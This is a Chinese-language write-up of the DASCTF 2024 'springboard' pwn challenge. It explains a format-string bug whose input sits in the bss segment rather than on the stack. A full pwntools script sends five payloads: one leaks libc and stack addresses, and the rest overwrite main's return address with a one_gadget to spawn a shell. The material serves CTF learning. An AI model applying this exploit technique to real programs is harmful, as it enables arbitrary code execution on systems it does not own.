题目来源:DASCTF 2024暑期挑战赛springboard

非栈上的格式化字符串

从标准输入读入到bss段,再从bss段读出

1

bss段不在栈上,因此非栈上的格式化字符串不用计算栈上输入造成偏移,也不需要考虑栈地址对齐

而%s和%n等却依然可以直接打印和修改栈上的值,参数位数和在栈上一样,不过不用加上自己输入的字节数

%n修改地址中间

%n可修改4字节类似的hn和hhn是修改2字节和1字节,但是修改字节只能修改地址末端

而地址在内存中是连续分布的,因此若只想修改倒数第三四位,则给指向改地址指针的地址加上一字节即可,这样新的指针值向的地址最后两位就是原先地址的倒数三四位,新地址前两位就是原先地址的上一组数据

注意:一字节能存两个十六进制位

原先指针 0x7ffd5fa7a138 指向0x7aa9c8e20494

2

修改后:原先指针加上两字节变为0x7ffd5fa7a13a 指向的地址右移了四位

3

此时对新指针进行%n操作即可直接修改0x7aa9c8e20494中间的值

exp

五次payload

第一次,泄露栈地址和libc

第二次,修改栈地址指向main返回地址

第三次,修改main返回地址值的后四位

第四次,修改栈地址指向main返回地址中间

第五次,修改栈main返回地址中间两位

五次之后,main返回到onegadget获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
rom pwn import*
from LibcSearcher import*
# context(log_level='debug')

r=process('./pwn')
libc=ELF('./libc.so.6')
#libc=ELF('./libc6-i386_2.27-3ubuntu1_amd64.so')
e=ELF('./pwn')

got=libc.symbols['__libc_start_main']

payload=b'%9$p%11$p'
#payload=payload.ljust(16,b'\x00')
#payload+=p64(got)

# gdb.attach(r)
r.recvuntil('Please enter a keyword\n')
r.sendline(payload)#1
#pause()
addr=r.recv(14)
addr=int(addr,16)
addr2=r.recv(14)
addr2=addr2[-4:]
addr2=int(addr2,16)
# print(hex(addr2))
# print('=========')
offset1=addr-got-240
# print(hex(addr))
system_addr = offset1 + libc.symbols["system"]
binsh_addr = offset1 + next(libc.search(b"/bin/sh"))
exe=offset1+0xf1247
# print(hex(exe))
# print(hex(system_addr))
# print(hex(binsh_addr))
# print ('========')
#r.recvuntil('Please enter a keyword\n')
#payload='%11$p'
#r.sendline(payload)#2
log.success(f"libc_base==>{hex(offset1)}")

offset=addr2-0xE0


# print(hex(offset))
# print('=========')

r.recvuntil('Please enter a keyword\n')
payload=b'%'+str(offset).encode()+b'c%11$hn'
r.sendline(payload)#2
r.recvuntil('Please enter a keyword\n')
exe=hex(exe)
log.success(f"one_gadget==>{(exe)}")
addr3=exe[-4:]
addr4=exe[-6:]
addr4=addr4[:2]
addr4=int(addr4,16)
addr3=int(addr3,16)
# print(hex(addr3))
# print(hex(addr4))
payload=b'%'+str(addr3).encode()+b'c%37$hn'
r.sendline(payload)#3
r.recvuntil('Please enter a keyword\n')
payload=payload=b'%'+str(offset+2).encode()+b'c%11$hn'

r.sendline(payload)#4
r.recvuntil('Please enter a keyword\n')
payload=b'%'+str(addr4).encode()+b'c%37$hhn'
gdb.attach(r)
pause()
r.sendline(payload)#5
r.interactive()